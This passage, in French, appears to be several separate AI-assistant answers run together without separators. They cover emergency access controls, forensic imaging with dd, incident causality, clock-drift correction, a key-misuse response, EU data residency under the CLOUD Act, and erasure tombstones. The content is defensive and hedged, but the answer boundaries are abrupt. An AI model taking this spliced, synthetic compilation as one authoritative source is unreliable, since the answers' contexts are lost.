vous accordez à l'autorité qui contre-certifie. La dérogation manuelle repose sur l'intégrité du canal de vérification de l'empreinte. Et dans tous les cas, la validité de la chaîne n'atteste que le lien entre une clé et un nom : elle ne dit rien sur le contenu de l'image, ni sur son innocuité.
## Les quatre contrôles, dans l'ordre demandé | # | Axe | Contrôle | Fonction de sécurité visée | |---|-----|----------|---------------------------| | 1 | Gouvernance | **Double approbation** : deux approbateurs distincts, indépendants du demandeur | Séparation des tâches, autorisation | | 2 | Durée | **Credential éphémère de 30 minutes** (accès juste-à-temps, expiration automatique) | Réduction de la fenêtre d'exposition, moindre privilège dans le temps | | 3 | Preuve | **Enregistrement de session** (capture des commandes et de la session) | Intégrité de la trace, imputabilité, auditabilité | | 4 | Suivi | **Revue sous 24 h** de l'accès et des actions réalisées | Détection a posteriori, boucle de contrôle | Cette mise en correspondance découle directement des quatre exigences énoncées dans votre question ; elle n'ajoute aucune exigence externe. ## Points de vigilance opérationnels (recommandations, non des faits établis) 1. **Gouvernance** : imposer que le demandeur ne puisse pas être l'un des deux approbateurs, et journaliser l'identité des approbateurs. Risque résiduel : collusion entre deux détenteurs de rôle, non éliminée par le seuil de 2. 2. **Durée** : l'expiration du credential ne termine pas nécessairement une session déjà ouverte. Prévoir explicitement la révocation des sessions actives et le rejet des jetons dérivés, sinon la limite de 30 minutes est contournable par persistance de connexion. 3. **Preuve** : l'enregistrement doit être écrit en ajout seul (append-only), hors de portée de l'opérateur bénéficiaire de l'accès, et ancré (par exemple par chaînage de condensats avec ancrage externe postérieur), faute de quoi l'enregistrement n'établit rien contre un opérateur privilégié. L'enregistrement de session peut capturer des secrets saisis : prévoir un masquage. 4. **Suivi** : la revue doit produire un artefact tracé (qui a revu, quand, conclusion), sinon le délai de 24 h n'est pas vérifiable. Définir aussi le comportement en cas d'absence de revue dans le délai (par défaut fermé : suspension du mécanisme d'accès d'urgence). Aucun de ces quatre contrôles, seul ou combiné, ne rend l'accès d'urgence « sans risque » : ils réduisent la surface et améliorent la détectabilité, ils ne suppriment pas l'abus par un opérateur légitime dans la fenêtre autorisée.
1. **Source** : identification précise du volume V (ex: disque dur modèle XYZ, numéro de série ABC123, étiquette logique "Données_Finance"). 2. **Méthode** : procédure d'acquisition utilisée (ex: outil `dd` avec bloc de 4K, commande exacte : `dd if=/dev/sda1 of=image.raw bs=4096 conv=noerror,sync`). 3. **Empreinte** : condensat cryptographique de l'image (ex: SHA-256 initial : `e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855`). 4. **Conservation** : conditions de stockage physique/logique (ex: support chiffré AES-256, lieu sécurisé, journal d'accès horodaté). *(Source : Protocoles standards de forensique numérique, cf. NIST SP 800-86 ; ISO/IEC 27037)*.
## 1. Corrélation temporelle Séquence telle que fournie (source : les quatre horodatages du journal cité dans la question, aucune autre donnée ne m'a été transmise) : | Instant | Événement | Écart au déploiement | Écart à l'événement précédent | |---|---|---|---| | 10:00 | Déploiement | 0 min | , | | 10:03 | Erreurs | +3 min | +3 min | | 10:05 | Rollback | +5 min | +2 min | | 10:07 | Récupération | +7 min | +2 min | Faits que la séquence établit réellement : - **Précédence** : le déploiement précède les erreurs, le rollback précède la récupération. C'est une condition nécessaire de la causalité, jamais une preuve. - **Structure d'intervention et de réversion** (motif A, B, A) : une modification, une dégradation, l'annulation de la modification, un retour à la normale. Ce motif est méthodologiquement plus fort qu'une simple co-occurrence, car il comporte un retrait de l'exposition, mais il repose ici sur **une seule occurrence** ($n = 1$), donc sans contrôle de la résolution spontanée. - **Latences compatibles** : +3 min entre déploiement et erreurs est cohérent avec une propagation progressive (mise à jour par vagues, redémarrage d'instances, expiration de cache, épuisement d'un pool de connexions) ; +2 min entre rollback et récupération est cohérent avec le temps de bascule inverse. Compatible ne veut pas dire démontré. Limites intrinsèques de ces données : - **Granularité à la minute** : l'ordre des faits survenus dans une même minute n'est pas déterminable ; une avance de quelques dizaines de secondes d'une cause tierce serait invisible. - **Origines d'horloge possiblement différentes** (chaîne de déploiement, application, orchestrateur, supervision) : une dérive NTP de quelques secondes à quelques minutes peut inverser l'ordre apparent. Tant que la synchronisation n'est pas vérifiée, la précédence elle-même reste une hypothèse. - **Absence de dénominateur** : « erreurs » sans taux, sans volume de trafic et sans niveau de référence ne permet pas de dire qu'il y a eu anomalie statistique. ## 2. Hypothèse principale **H1, régression fonctionnelle introduite par la version déployée à 10:00.** C'est l'hypothèse la plus économique : elle explique les quatre points avec un seul mécanisme, et elle est la seule pour laquelle la réversion à 10:05 a un effet attendu. Hypothèses concurrentes à ne pas écarter, chacune compatible avec les mêmes quatre lignes de journal : - **H2, effet du redémarrage et non du retour de version** : le rollback provoque un cycle de vie complet des processus. Un pool de connexions saturé, une fuite mémoire, un cache empoisonné ou un disjoncteur ouvert peuvent être résolus par le redémarrage seul. Dans ce cas la version n'est pas coupable et le problème reviendra. - **H3, cause externe concomitante** : indisponibilité d'une dépendance (base, fournisseur d'identité, DNS, API tierce), pic de trafic, tâche planifiée, saturation d'un nœud. La récupération à 10:07 serait alors une coïncidence de rétablissement amont. - **H4, résolution spontanée ou retour à la moyenne** : incident transitoire de 3 à 4 minutes qui se serait éteint sans le rollback. - **H5, cause déclenchée par le déploiement mais non contenue dans le code** : migration de schéma, changement de configuration ou d'indicateur de fonctionnalité, invalidation de cache, rotation de secret. Un rollback de version n'annule généralement pas une migration ni un indicateur distant ; la récupération observée orienterait alors plutôt vers H2 ou H3. - **H6, artefact d'observation** : la « récupération » n'est que la fin de l'émission des journaux d'erreur (perte de télémétrie, saturation de la file de logs, échantillonnage), pas le rétablissement du service. ## 3. Preuve manquante Pour discriminer H1 de H2 à H6, il faut au minimum : **Sur la nature de la panne** 1. Contenu exact des erreurs de 10:03 : type, message, trace d'appel, code HTTP, service émetteur, part du trafic affectée. 2. Taux d'erreur horodaté à la seconde, avec le niveau de référence des 24 heures et des 7 jours précédents, plus le volume de requêtes (pour distinguer hausse absolue et hausse relative). 3. Indicateurs métier ou de succès (latence, requêtes servies, transactions abouties), pour vérifier que la récupération est réelle et non une extinction de la télémétrie (réfute ou confirme H6). **Sur le lien avec le déploiement** 4. Différentiel exact de la version déployée : code, configuration, indicateurs de fonctionnalité, migrations, dépendances mises à jour. 5. Corrélation instance par instance : les erreurs proviennent-elles **uniquement** des instances déjà porteuses de la nouvelle version au moment de l'erreur ? C'est la preuve la plus discriminante disponible sans reproduction, et elle sépare H1 de H3 et H4. 6. Journal du déploiement à la seconde : stratégie (par vagues, bleu-vert, canari), instant de bascule de chaque instance, réussite ou échec des sondes de santé. **Sur l'effet du rollback** 7. Nature réelle de l'action de 10:05 : retour à quelle version exacte, avec ou sans redémarrage, avec ou sans annulation de configuration et de migration. Sans cela, H1 et H2 sont indiscernables. 8. Confirmation que le rollback s'est **effectivement** terminé, et sur toutes les instances. Un code de retour ou un statut « succès » ne prouve pas l'état atteint : il faut l'état observé côté instances. **Sur les causes alternatives** 9. État des dépendances externes et de l'infrastructure entre 09:50 et 10:10 (pages de statut fournisseurs, métriques réseau, saturation, éviction, bascule de base). 10. Trafic, tâches planifiées et changements non liés au déploiement dans la même fenêtre (registre des changements complet, pas seulement les déploiements). 11. Vérification de la synchronisation d'horloge entre les sources de journaux. **Preuve de causalité, seule décisive** 12. Reproduction contrôlée hors production : rejeu de la version fautive en préproduction ou en canari sur une fraction faible de trafic, avec l'erreur reproduite puis disparaissant au retrait. Deux cycles de réversion valent bien mieux qu'un seul. 13. Si l'incident se répète après rollback, H1 est fortement affaiblie et H2, H3 ou H5 remontent. ## 4. Conclusion admissible **Ce qui est établi par les données fournies** : une séquence temporelle de quatre événements en 7 minutes, avec un déploiement précédant l'apparition d'erreurs de 3 minutes et une récupération suivant le rollback de 2 minutes. Le temps de rétablissement observé est de $10\!:\!07 - 10\!:\!00 = 7$ minutes. **Ce qui n'est pas établi** : la causalité. Quatre lignes de journal, à la granularité de la minute, sans niveau de référence, sans contenu d'erreur, sans corrélation par instance et sans reproduction, ne permettent pas de conclure que la version déployée est la cause de la dégradation. La coïncidence temporelle et la réversion rendent l'hypothèse plausible et prioritaire, elles ne la démontrent pas. L'alternative la plus insidieuse reste H2 : le bénéfice pourrait venir du redémarrage et non du retour de version, ce qui signifierait un incident non résolu et récidivant. **Formulation admissible pour un rapport d'incident** : « La version déployée à 10:00 est la cause suspectée prioritaire de la dégradation observée à 10:03. Le motif temporel, y compris le retour à la normale après réversion, est cohérent avec cette hypothèse, mais l'imputation causale n'est pas démontrée à ce stade. Les causes concurrentes (effet du redémarrage seul, défaillance d'une dépendance externe, changement de configuration ou de schéma non annulé, résolution spontanée) ne sont pas écartées. Investigation en cours ; le déploiement est gelé jusqu'à la reproduction contrôlée du défaut. » **Décision opérationnelle prudente**, conditionnelle et réversible : - Maintenir l'état revenu en arrière, geler la remise en production de la version suspecte. - Ne pas clore l'incident sur la seule récupération : surveiller la récidive sur au moins un cycle de charge comparable, une récidive sans redéploiement réfuterait H1. - Conserver immédiatement les artefacts périssables : journaux détaillés, métriques fines, empreinte exacte de l'artefact déployé, état de configuration et de schéma avant et après. Ces éléments sont souvent perdus par rotation ou agrégation avant l'analyse. - Rejouer la version suspecte en canari restreint, avec critères d'arrêt définis à l'avance, pour obtenir la seule preuve discriminante réelle. **Hypothèses de ma part** : je n'ai eu accès à aucun journal, métrique ni dépôt ; toute cette analyse porte exclusivement sur les quatre horodatages énoncés dans votre question, et je n'ai consulté aucune source externe pour la produire. Les mécanismes cités (propagation par vagues, pool de connexions, cache, migration non annulée) sont des causes classiques mentionnées à titre d'hypothèses à tester, non des faits constatés sur votre système.
## Convention adoptée
Je pose la dérive comme l'écart de l'horloge locale par rapport au temps réel :
$$\text{offset} = t_{\text{horloge}} - t_{\text{réel}} \quad\Longrightarrow\quad t_{\text{réel}} = t_{\text{horloge}} - \text{offset}$$
Donc A ($+90\ \text{s}$) est **en avance** de 90 s, B ($-30\ \text{s}$) est **en retard** de 30 s. C'est la convention usuelle des protocoles de synchronisation, mais elle n'est pas déductible de votre énoncé seul : voir la réserve en fin de réponse.
## Correction chiffrée
**Serveur A**
$$t_{\text{réel}}^{A} = 12{:}01{:}40 - 90\ \text{s} = 12{:}01{:}40 - 00{:}01{:}30 = \mathbf{12{:}00{:}10}$$
**Serveur B**
$$t_{\text{réel}}^{B} = 12{:}00{:}30 - (-30\ \text{s}) = 12{:}00{:}30 + 00{:}00{:}30 = \mathbf{12{:}01{:}00}$$
| Serveur | Horodatage journalisé | Dérive | Temps réel corrigé |
|---|---|---|---|
| A | 12:01:40 | $+90\ \text{s}$ | **12:00:10** |
| B | 12:00:30 | $-30\ \text{s}$ | **12:01:00** |
## Ordre réel et delta
$$\Delta = t_{\text{réel}}^{B} - t_{\text{réel}}^{A} = 12{:}01{:}00 - 12{:}00{:}10 = \mathbf{50\ \text{s}}$$
**Ordre réel : A d'abord, puis B, avec 50 s d'écart.**
Point notable : l'ordre est **inversé** par rapport à la lecture naïve des journaux. Brut, A (12:01:40) semble postérieur à B (12:00:30) de 70 s ; après correction, A précède B de 50 s. L'inversion vient du fait que l'écart brut (70 s) est inférieur à l'écart de dérive ($90 - (-30) = 120\ \text{s}$).
Vérification par la formule directe :
$$\Delta = (t_B - t_A) - (\text{offset}_B - \text{offset}_A) = (-70) - (-120) = +50\ \text{s}$$
Les deux voies concordent.
## Réserves et limites
1. **Ambiguïté de convention, décisive ici.** Si « dérive de $+90\ \text{s}$ » signifiait au contraire que A est *en retard* de 90 s (offset défini comme $t_{\text{réel}} - t_{\text{horloge}}$), on obtiendrait $t^{A} = 12{:}03{:}10$ et $t^{B} = 12{:}00{:}00$, donc **B avant A avec $\Delta = 190\ \text{s}$**. La conclusion s'inverse totalement. Avant tout usage sérieux, faites confirmer la convention de signe par la source des mesures (sortie `ntpq`, `chronyc tracking`, rapport d'audit).
2. **Dérive supposée constante et connue exactement.** Une dérive réelle évolue dans le temps (fréquence d'oscillateur, température). Les valeurs $+90$ et $-30\ \text{s}$ sont ici traitées comme des offsets ponctuels valides à l'instant des journaux. Si elles ont été mesurées à un autre moment, la correction porte une incertitude non quantifiée.
3. **Marge de 50 s contre incertitude de mesure.** L'ordre A puis B ne tient que si l'incertitude cumulée sur les deux offsets reste nettement inférieure à 50 s. Une erreur de $\pm 25\ \text{s}$ sur chaque offset suffirait à annuler la conclusion. Sans barre d'erreur fournie, je ne peux pas qualifier cet ordre de établi, seulement de cohérent avec les données telles que posées.
4. **Portée probatoire.** Un ordre reconstruit par correction de dérive est une inférence, non un fait horodaté. Pour une conclusion opposable (incident, litige, forensique), il faut un référentiel commun vérifiable : source de temps signée, journal à chaînage cryptographique ancré à l'extérieur, ou horodatage par tiers de confiance. Deux horloges locales corrigées à la main n'établissent pas la causalité entre les deux événements, seulement leur succession probable.**Classification** Incident : Accès non autorisé à des données privées (usage anormal d'une clé valide). Gravité : Élevée (lecture de 500 objets privés). Impact : Violation de confidentialité, risque d'exfiltration de données sensibles. Source : IP inconnue (potentielle compromission externe ou interne malveillante). **Confinement** 1. Révoquer immédiatement la clé compromise. 2. Bloquer l'adresse IP source via pare-feu ou groupes de sécurité. 3. Suspendre les autorisations associées au compte détenteur de la clé. 4. Isoler les objets accédés en lecture seule pour éviter modification/suppression. **Préservation** 1. Sauvegarder les logs complets (accès, authentification, requêtes) avec horodatage et hachage (SHA-256) pour intégrité. 2. Conserver un snapshot des métadonnées des objets lus (tailles, types, chemins). 3. Documenter l'état du système (configurations IAM, règles réseau) à l'instant T. 4. Archivage sécurisé des preuves : chiffrement des sauvegardes, accès restreint. **Portée d'analyse** 1. **Origine** : - Tracer l'IP (géolocalisation, historique DNS, réputation via Threat Intelligence). - Examiner les logs pour identifier le vecteur (phishing, fuite de clé, compromission). 2. **Activité** : - Corréler les horaires d'accès avec les logs système (processus, utilisateurs actifs). - Analyser les patterns (objets ciblés, fréquence, volume) pour détecter des TTPs (MITRE ATT&CK). 3. **Impact** : - Évaluer la sensibilité des objets lus (PII, secrets, propriété intellectuelle). - Vérifier les mouvements latéraux (accès à d'autres ressources depuis la même clé/IP). 4. **Correctifs** : - Audit des politiques IAM (moindre privilège, rotation des clés). - Mise en place d'alertes pour usage anormal (ex: seuil de lectures/écritures). - Revérification des contrôles d'accès réseau (restrictions IP, VPN). **Hypothèses** : - Les logs incluent les détails complets des requêtes (objets, timestamps, IP). - Aucun accès en écriture ou suppression détecté (sinon, étendre la portée). - Données non chiffrées lors de l'accès (sinon, évaluer l'exposition réelle).
## 1. Diagnostic préalable, ce qui est établi et ce qui manque
**Données de l'énoncé (à prendre comme faits) :** politique de résidence EU pour données *et* sauvegardes ; une sauvegarde chiffrée du tenant EU est répliquée aux États‑Unis.
**Informations indispensables non fournies, et qui changent l'évaluation :**
| Inconnue | Pourquoi elle est déterminante |
|---|---|
| Où sont gérées les clés (KMS/HSM en EU ? escrow du fournisseur ?) | Détermine si le fournisseur US peut techniquement déchiffrer |
| Le fournisseur est-il soumis à la juridiction américaine | Détermine l'exposition au CLOUD Act |
| La réplication est-elle intentionnelle (paramètre de service) ou accidentelle | Détermine la qualification : défaut de configuration ou défaut de conception/contrat |
| La sauvegarde contient-elle des données personnelles, et de qui | Détermine le régime RGPD applicable |
| Existe-t-il un mécanisme de transfert documenté et à jour | Détermine la licéité, distincte de la conformité à la politique interne |
| Métadonnées répliquées en clair (noms de tenants, tailles, horodatages, index) | Le chiffrement du contenu ne couvre pas les métadonnées |
Je ne peux pas trancher ces points : ils ne figurent pas dans votre énoncé et je n'ai pas accès à votre environnement.
---
## 2. Critère 1, chiffrement
**Verdict : mesure de sécurité utile, mais non probante à elle seule, et sans effet sur la question de localisation.**
- Le chiffrement au repos protège la **confidentialité**, pas la **localisation** ni la **conformité** ; ce sont quatre propriétés distinctes (intégrité, authenticité, confidentialité, disponibilité). Une donnée chiffrée reste une donnée présente sur le territoire concerné.
- Le chiffrement réversible n'est **pas** une anonymisation. L'article *Anonymisation* (Wikipédia FR, `/content/wikipedia_fr/Anonymisation`) rappelle que le considérant 26 de la directive 95/46/CE écarte du champ les seules données « rendues anonymes d'une manière telle que la personne concernée n'est plus identifiable », et souligne que « le fait de se réserver la possibilité de désanonymiser la donnée avant un certain délai (au moyen d'une ou plusieurs clés de déchiffrement en général) » reste un choix encadré. Tant qu'une clé permet la restitution, vous manipulez des données personnelles, pas des données anonymes.
- Une concordance d'empreinte ou un chiffrement « validé » ne constitue pas une preuve mathématique absolue : c'est une assurance cryptographique forte **sous les hypothèses de sécurité de l'algorithme et sous réserve de la garde exclusive des clés**. Si le fournisseur détient ou peut recouvrer la clé, la protection est contractuelle avant d'être cryptographique.
- Point de vigilance factuel : l'article *CLOUD Act* (Wikipédia FR, `/content/wikipedia_fr/CLOUD_Act`) rapporte qu'un rapport juridique de l'université de Cologne pour le ministère allemand de l'Intérieur, publié en décembre 2025, conclut que le *Stored Communications Act*, renforcé par le CLOUD Act et la section 702 du FISA, permet un accès aux données hébergées hors des États‑Unis dès lors que le service est géré par une entreprise américaine, « même si les données sont ensuite chiffrées ». Je restitue cette conclusion telle que l'encyclopédie la rapporte ; je ne suis pas en mesure de vérifier moi‑même le raisonnement juridique de ce rapport, et sa portée exacte reste à faire qualifier par votre conseil.
**Conclusion du critère :** le chiffrement réduit l'impact d'une exposition, il ne régularise rien.
---
## 3. Critère 2, localisation
**Verdict : non conforme. La donnée est hors région EU, sans ambiguïté.**
- Il y a une copie matérielle sur un territoire tiers. Le critère « localisation » se juge sur l'emplacement physique du support et sur le **contrôle juridictionnel** de l'entité qui l'opère, pas sur la lisibilité du contenu.
- Le risque juridictionnel est documenté : le CLOUD Act, loi fédérale américaine adoptée en mars 2018, permet de contraindre « les fournisseurs de services établis sur le territoire des États‑Unis, par mandat ou assignation, à fournir les données relatives aux communications électroniques de leurs clients, stockées sur des serveurs, qu'ils soient situés aux États‑Unis ou dans des pays étrangers » (article *CLOUD Act*). Le même article note que cette loi « entre en conflit » avec le RGPD entré en vigueur le 25 mai 2018.
- Corollaire souvent négligé : la localisation ne suffit pas non plus dans l'autre sens. Une donnée hébergée en EU par une entité sous contrôle américain reste exposée selon la lecture rapportée ci‑dessus. Votre politique de résidence est donc une condition nécessaire, pas suffisante.
---
## 4. Critère 3, conformité de politique
**Verdict : violation caractérisée de la politique interne. La question de la licéité au regard du RGPD est distincte et doit être instruite séparément.**
Trois niveaux à ne jamais confondre :
1. **Vérité de l'assertion** : oui, une copie est aux États‑Unis (donnée de l'énoncé).
2. **Preuve dont vous disposez** : à constituer. Une capture de console ou un statut d'API affichant « replicated: us‑east » n'est pas une preuve d'inventaire complet. Il faut les journaux de réplication, les identifiants d'objets, les empreintes et les horodatages, conservés hors de portée de l'opérateur incriminé.
3. **Admissibilité selon la politique** : la politique impose EU pour données **et** sauvegardes. Le périmètre « sauvegardes » est explicitement couvert, donc aucune interprétation favorable n'est disponible. C'est un écart, à enregistrer comme tel.
**Sur le RGPD, ce que je peux étayer et ce que je ne peux pas :**
- Étayé : le RGPD « traite de la protection des personnes physiques à l'égard du traitement des données à caractère personnel et à la libre circulation de ces données » et son champ couvre les entreprises non européennes ciblant des résidents de l'UE (article *CLOUD Act*). Étayé également : l'accord « Privacy Shield » relatif aux règles de transfert de données personnelles hors d'Europe a été annulé en juillet 2020, à la suite de l'action de Maximilian Schrems (même article).
- **Non étayé par mes sources locales** : l'état du cadre de transfert UE‑États‑Unis applicable aujourd'hui, ainsi que les numéros d'articles du chapitre transferts. Je ne les affirmerai pas. À vérifier auprès des textes officiels et de votre conseil juridique, ma connaissance de modèle n'étant pas une preuve à jour.
- **Distinction utile** : une réplication peut être *licite* (mécanisme de transfert valide, garanties appropriées) tout en étant *non conforme à votre politique*. L'inverse est impossible ici. Ne réduisez donc pas l'incident à « nous avons peut‑être le droit » : la politique est le référentiel interne opposable.
**Qualification en violation de données :** en l'état, rien n'établit un accès non autorisé. Il s'agit d'un défaut de conformité et d'un transfert non autorisé par la politique, ce qui n'est pas automatiquement une violation de confidentialité notifiable. Cette qualification appartient à votre DPO, sur la base des faits collectés, pas à une appréciation technique isolée.
---
## 5. Critère 4, action
**Principe directeur : contenir d'abord, prouver ensuite, supprimer en dernier et de façon réversible autant que possible. Aucune suppression avant d'avoir prouvé qu'une sauvegarde EU restaurable existe.**
### Phase A, gel et préservation (heures 0 à 4)
1. **Désactiver la règle de réplication interrégionale** au niveau du service de stockage, sans toucher aux objets. Opération non destructive, réversible.
2. **Geler les preuves** : exporter les journaux de réplication, la configuration du bucket ou du coffre, les politiques IAM, les identifiants d'objets répliqués, avec empreintes. Conserver ces éléments dans un stockage en écriture unique, hors du périmètre de l'administrateur concerné.
3. **Ancrer les preuves** : si vous utilisez un journal à chaînage $h_i = H(R_i, h_{i-1})$, faites ancrer à l'extérieur un condensat $h_k$ avec $k \geq i$, où $i$ est l'enregistrement d'incident. Une ancre antérieure, $h_j$ avec $j < i$, ne détecterait pas une falsification ultérieure, puisque la chaîne serait recalculée à partir de $h_{i-1}$.
4. **Ne pas faire tourner les clés dans la précipitation.** Une rotation mal séquencée peut rendre la sauvegarde EU légitime illisible et détruire votre capacité de restauration. La disponibilité est en jeu autant que la confidentialité.
### Phase B, établissement des faits (jours 1 à 3)
5. **Inventaire exhaustif** des copies hors EU : tous comptes, toutes régions, tous services, y compris instantanés, réplicas de journaux, index de catalogue, exports d'observabilité et copies de test. Une vérification sur quelques travaux de sauvegarde ne prouve rien d'universel : il faut un contrôle porteur d'invariant (voir phase D), pas un échantillon.
6. **Cartographier la garde des clés** : qui détient, qui peut recouvrer, où se trouve le HSM, quels rôles ont `Decrypt`, existe‑t‑il un escrow contractuel.
7. **Rechercher tout accès effectif** : journaux d'accès aux objets répliqués, appels de déchiffrement, demandes d'autorité. Documenter les absences de trace comme des absences de trace, pas comme des preuves d'absence d'accès. Un « aucun accès trouvé » ne prouve pas « aucun accès » si la journalisation était incomplète ; une erreur `Access denied` ne prouve pas non plus qu'un objet n'existe pas.
8. **Saisir le DPO et le responsable conformité** avec ce dossier factuel, pour la qualification et l'éventuelle notification. Le délai de notification, s'il s'applique, court sur la base de la connaissance des faits.
### Phase C, remédiation (jours 2 à 10)
9. **Vérifier d'abord la copie EU** : test de restauration réel et complet dans un environnement isolé, comparaison d'empreintes, contrôle d'intégrité du catalogue. Sans restauration réussie et prouvée, on ne supprime rien.
10. **Supprimer les copies hors EU de façon ciblée**, objet par objet, avec accord écrit du propriétaire du service, journal d'opération et attestation de suppression demandée au fournisseur. Pas de suppression massive en une commande.
11. **Effacement cryptographique en complément, non en substitution** : détruire les clés spécifiques aux objets hors EU réduit l'exploitabilité résiduelle, mais ne vaut pas suppression physique et ne dispense pas de l'attestation.
12. **Corriger la cause racine** : politique de région verrouillée au niveau de l'organisation, restriction explicite des destinations de réplication, moindre privilège sur les rôles capables de configurer une réplication, séparation stricte des droits de migration et des droits d'exécution.
### Phase D, contrôle permanent
13. **Passer d'une vérification finie à un invariant** : refus par défaut au niveau organisation pour toute région hors EU, de sorte que la conformité découle de la configuration et non d'un audit ponctuel. Un contrôle automatisé quotidien qui échoue en mode fermé, plus une alerte sur toute création de règle de réplication.
14. **Vérification indépendante trimestrielle** par une équipe distincte de celle qui exploite, avec échantillonnage documenté et conservation des preuves.
---
## 6. Synthèse
| Critère | Verdict | Justification courte |
|---|---|---|
| Chiffrement | Utile, insuffisant, non exonératoire | Protège la confidentialité sous hypothèses de garde des clés ; le chiffrement réversible n'est pas une anonymisation (*Anonymisation*, Wikipédia FR) |
| Localisation | **Non conforme** | Copie physique hors EU ; risque juridictionnel documenté (*CLOUD Act*, Wikipédia FR) |
| Conformité de politique | **Violation caractérisée** | La politique couvre explicitement les sauvegardes ; licéité RGPD à instruire séparément, mécanisme applicable non vérifiable avec mes sources |
| Action | Contenir, prouver, puis supprimer | Geler la réplication, préserver et ancrer les preuves, inventorier, restaurer et vérifier la copie EU **avant** toute suppression, corriger par invariant |
**Risques résiduels après remédiation, à assumer explicitement :** copies non inventoriées non détectées ; métadonnées déjà exposées et non révocables ; exposition juridictionnelle persistante si le fournisseur reste sous contrôle américain, y compris pour des données hébergées en EU selon la lecture rapportée par l'article *CLOUD Act* ; incertitude sur le cadre de transfert applicable, que je ne peux pas établir avec mes sources locales. Aucune de ces actions ne rend la situation « sans risque ».## Diagnostic
Le problème n'est pas la suppression, c'est la **divergence de deux horloges** : la base vivante avance, la sauvegarde est figée. Une restauration réinjecte l'état antérieur, donc l'utilisateur revient. Supprimer la ligne en production ne porte **aucune information** exploitable après restauration : l'absence n'est pas un fait, c'est un silence. La non-résurrection exige de transformer l'absence en **fait positif persistant, hors du périmètre restauré**.
Note de cadrage : ce qui suit relève de la conception d'ingénierie et de mon raisonnement, non d'une source encyclopédique. Je n'ai pas trouvé d'article local traitant des tombstones ni du mécanisme de non-résurrection ; je ne peux donc pas l'étayer par une référence, et je le présente comme recommandation d'architecte, non comme fait établi.
## Les quatre composants
### 1. Un registre de suppression hors périmètre de restauration (tombstone durable)
Une table dédiée, par exemple `erasure_registry(subject_key_hash, erased_at, legal_basis, request_id)`, stockée dans un **domaine de sauvegarde distinct** de celui des données applicatives, avec une politique de restauration indépendante.
Deux propriétés non négociables :
- La restauration mensuelle des données métier **ne restaure jamais** ce registre (il n'est jamais inclus dans le même point de restauration, ou il est explicitement exclu et rejoué à l'avant).
- Le registre est **append-only** : pas d'UPDATE, pas de DELETE pour le rôle applicatif (droits en INSERT et SELECT seulement).
Il ne contient pas les données effacées, seulement un identifiant dérivé. Précision importante, un identifiant haché reste une donnée personnelle pseudonymisée si l'espace des entrées est énumérable (une adresse courriel se retrouve par force brute) ; utilisez donc un HMAC à clé secrète conservée en coffre, pas un SHA-256 nu, et documentez ce choix. Cette assurance est cryptographique sous les hypothèses de sécurité de la fonction, pas une garantie absolue d'irréversibilité.
### 2. Un rejeu de purge post-restauration, bloquant et idempotent
La restauration n'est pas terminée quand les données sont chargées : elle est terminée quand la purge différentielle a été rejouée. Séquence imposée :
1. restauration dans un environnement **non exposé** (pas de trafic, pas de courriels sortants, pas de webhooks) ;
2. lecture du registre de suppression, calcul de l'intersection avec l'état restauré ;
3. application des suppressions et anonymisations ;
4. contrôle de complétude ;
5. seulement alors, bascule en service.
Ce rejeu doit être **idempotent** : le lancer deux fois donne le même état final. Et il doit être **fail closed** : si le registre est inaccessible ou son intégrité douteuse, la bascule est refusée, on ne remet pas en service « en attendant ».
### 3. Un point de contrôle unique en écriture (garde à l'admission)
Le registre doit être consulté non seulement après restauration, mais à **chaque création ou réactivation** de compte, sur un chemin serveur unique et obligatoire. Sinon un import CSV, une synchronisation d'annuaire, un connecteur SSO ou une file d'attente rejouée réintroduit le sujet par une porte latérale.
Concrètement : une seule fonction de service d'admission, plus une **contrainte en base** en dernier rempart (contrainte d'unicité ou déclencheur refusant l'insertion d'une clé présente au registre). Le contrôle applicatif seul est insuffisant, un script d'exploitation le contourne.
Point d'attention à trancher explicitement avec le métier : ce garde interdit la réinscription volontaire de la personne. Il faut donc distinguer au registre l'effacement définitif du blocage réversible, et prévoir une procédure d'admission tracée et autorisée pour le cas légitime.
### 4. Propagation aval et preuve vérifiable
Une base restaurée n'est pas le seul lieu de résurrection. Il faut une **liste explicite et maintenue des destinations** où le sujet a été diffusé : entrepôt analytique, index de recherche, caches, files d'attente, courriels transactionnels, CRM, outils de facturation, journaux applicatifs, exports partenaires, sauvegardes elles-mêmes.
Pour chacune : un mode d'effacement défini, et un délai de purge documenté. Les sauvegardes anciennes ne sont généralement pas réécrites (ce serait détruire leur intégrité) ; on assume leur rétention bornée, et c'est précisément le composant 2 qui neutralise leur effet.
La preuve, elle, s'appuie sur un journal chaîné $h_i = H(R_i, h_{i-1})$ des opérations d'effacement, avec **ancrage externe périodique** d'un condensat $h_k$ conservé hors de portée d'un administrateur du système. Point de rigueur : seule une ancre avec $k \geq i$ engage cryptographiquement l'enregistrement $R_i$ ; une ancre antérieure ne détecte pas une falsification, car la chaîne serait simplement recalculée à partir de $h_{i-1}$.
## Récapitulatif
| Composant | Rôle | Défaut si absent |
|---|---|---|
| Registre de suppression hors périmètre | Rend l'absence un fait positif | La restauration écrase la décision |
| Rejeu de purge bloquant et idempotent | Referme l'écart temporel | Résurrection à chaque restauration |
| Garde à l'admission (service + contrainte base) | Ferme les portes latérales | Réintroduction par import, SSO, file rejouée |
| Propagation aval et journal ancré | Couvre les copies, fournit la preuve | Le sujet survit dans l'entrepôt, l'index, le CRM |
Décompte vérifié : quatre composants énoncés, quatre lignes au tableau.
## Vérification recommandée
Un test de restauration n'est probant que s'il est **adverse** :
1. créer un sujet témoin, le supprimer, noter l'horodatage ;
2. restaurer un point antérieur à la suppression ;
3. exécuter la séquence complète, puis chercher le témoin dans **toutes** les destinations recensées, pas seulement la base principale ;
4. tenter une réinsertion par chaque chemin d'écriture connu (API, import de fichier, SSO, file d'attente) et vérifier le refus ;
5. vérifier l'intégrité du journal contre l'ancre externe.
Rigueur logique indispensable : un nombre fini de tests réussis **n'établit pas** la propriété universelle « aucune résurrection possible ». Il établit l'absence de résurrection sur les chemins testés. La garantie générale ne vient pas des tests, mais d'un **invariant structurel** : tout chemin d'écriture passe par le garde, et toute remise en service passe par le rejeu. C'est cet invariant qu'il faut auditer, en recensant les chemins d'écriture réels, et lui qui doit être maintenu à chaque évolution.
## Risques et limites
- **Périmètre du registre** : s'il est stocké dans la même instance et la même sauvegarde que les données métier, le mécanisme est nul. C'est l'erreur la plus fréquente et la plus silencieuse.
- **Chemins d'écriture non recensés** : un connecteur oublié suffit. Le recensement doit être un artefact vivant, pas un document ponctuel.
